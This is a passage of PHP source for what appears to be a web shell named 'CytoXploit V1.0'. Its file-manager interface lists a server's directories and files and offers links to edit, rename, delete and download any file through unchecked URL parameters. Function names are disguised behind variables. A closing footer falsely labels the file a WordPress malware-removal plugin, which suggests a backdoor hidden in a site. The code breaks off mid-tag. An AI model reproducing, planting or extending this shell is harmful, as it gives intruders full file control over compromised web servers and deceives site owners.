Bellow:<br><br>[+] Mail: <a href="mail:franzzlc7@gmail.com">franzzlc7@gmail.com</a><br><br> <?php } else { if ($isd($path) === true) { if (!$isr($path)) { echo "<br><center><font color=red>Can't Open Directory. ( not readable )</font></center>"; } else { echo "<table width=\"100%\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\n\t\t\t<tr>\n\t\t\t<td class=\"table-header\"><center><font color=white>NAME</font></center></td>\n\t\t\t<td class=\"table-header\"><center><font color=white>SIZE</font></center></td>\n\t\t\t<td class=\"table-header\"><center><font color=white>LAST MODIFIED</font></center></td>\n\t\t\t<td class=\"table-header\"><center><font color=white>OWNER</font></center></td>\n\t\t\t<td class=\"table-header\"><center><font color=white>PERMISSION</font></center></td>\n\t\t\t<td class=\"table-header\"><center><font color=white>ACTION</font></center></td>\n\t\t\t</tr>"; $scandir = $scd($path); foreach ($scandir as $pathx) { $dtime = date("M/d/Y", filemtime("{$path}/{$pathx}")); if (function_exists("posix_getpwuid")) { $downer = @posix_getpwuid(fileowner("{$path}/{$pathx}")); $downer = $downer["name"]; } else { $downer = fileowner("{$path}/{$pathx}"); } if (function_exists("posix_getgrgid")) { $dgrp = @posix_getgrgid(filegroup("{$path}/{$pathx}")); $dgrp = $dgrp["name"]; } else { $dgrp = filegroup("{$path}/{$pathx}"); } if (!$isd("{$path}/{$pathx}")) { continue; } if ($pathx === "..") { $href = "<a href='?p=" . dirname($path) . "'>{$pathx}</a>"; } elseif ($pathx === ".") { $href = "<a href='?p={$path}'>{$pathx}</a>"; } else { $href = "<a href='?p={$path}/{$pathx}'>{$pathx}</a>"; } if ($pathx === "." || $pathx === "..") { $target_path = $pathx === ".." ? dirname($path) : $path; $act_dir = "<center><a href='?act=newfile&p={$target_path}'><i class='fas fa-file-medical' style='color:#B22222;'></a></i> | <a href='?act=newfolder&p={$target_path}'><i class='fas fa-folder-plus' style='color:#B22222;'></a></center></i>"; } else { $act_dir = "<center><a href='?act=rename_dir&p={$path}/{$pathx}'><i class='fas fa-pen' style='color:#B22222;'></a></i> | <a href='?act=delete_dir&p={$path}/{$pathx}'><i class='far fa-trash-alt' style='color:#B22222;'></a></center></i>"; } echo "<tr>"; echo "<td><i class='far fa-folder' style='color:#B22222;'></i><font color=white> {$href}</font></td>"; echo "<td><center><font color=white>- -</font></center></td>"; echo "<td><center><font color=white>{$dtime}</font></center></td>"; echo "<td><center><font color=white>{$downer}/{$dgrp}</font></center></td>"; echo "<td><center><font color=white>" . w("{$path}/{$pathx}", perms("{$path}/{$pathx}")) . "</font></center></td>"; echo "<td style='padding-left: 15px;'>{$act_dir}</td>"; echo "</tr>"; } } } else { echo "<center><font color=red>Can't Open Directory.</font></center>"; } foreach ($scandir as $file) { $ftime = date("M/d/Y", filemtime("{$path}/{$file}")); $size = filesize("{$path}/{$file}") / 1024; $size = round($size, 3); if (function_exists("posix_getpwuid")) { $fowner = @posix_getpwuid(fileowner("{$path}/{$file}")); $fowner = $fowner["name"]; } else { $fowner = fileowner("{$path}/{$file}"); } if (function_exists("posix_getgrgid")) { $fgrp = @posix_getgrgid(filegroup("{$path}/{$file}")); $fgrp = $fgrp["name"]; } else { $fgrp = filegroup("{$path}/{$file}"); } if ($size > 1024) { $size = round($size / 1024, 2) . "MB"; } else { $size .= "KB"; } if (!$isf("{$path}/{$file}")) { continue; } echo "<tr>"; echo "<td><a href='?act=view&p={$path}&f={$path}/{$file}'><i class='far fa-file-alt' style='color:#B22222;'></i><font color=white> {$file}</font></a></td>"; echo "<td><center><font color=white>{$size}</font></center></td>"; echo "<td><center><font color=white>{$ftime}</font></center></td>"; echo "<td><center><font color=white>{$fowner}/{$fgrp}</font></center></td>"; echo "<td><center><font color=white>" . w("{$path}/{$file}", perms("{$path}/{$file}")) . "</font></center></td>"; echo "<td><center><a href='?act=edit&p={$path}&f={$path}/{$file}'><i class='far fa-edit' style='color:#B22222;'></a></i> | <a href='?act=rename&p={$path}&f={$path}/{$file}'><i class='fas fa-pen' style='color:#B22222;'></a></i> | <a href='?act=delete&p={$path}&f={$path}/{$file}'><i class='far fa-trash-alt' style='color:#B22222;'></a></i> | <a href='?act=download&p={$path}&f={$path}/{$file}'><i class='fas fa-download' style='color:#B22222;'></a></i></center></td>"; echo "</tr>"; } echo "</table>"; if (!$isr($path)) { } else { echo "<br><p align=center>Cyto<font color=red>X</font>ploit V1.0</p>"; } } ?> <script type="text/javascript"> function updatemenu() { if (document.getElementById('responsive-menu').checked == true) { document.getElementById('menu').style.borderBottomRightRadius = '0'; document.getElementById('menu').style.borderBottomLeftRadius = '0'; }else{ document.getElementById('menu').style.borderRadius = '10px'; } } </scrip<?php };
Malware detection & removal plugin for WordPress
(C)2020 Wordpress Doctor All rights reserved.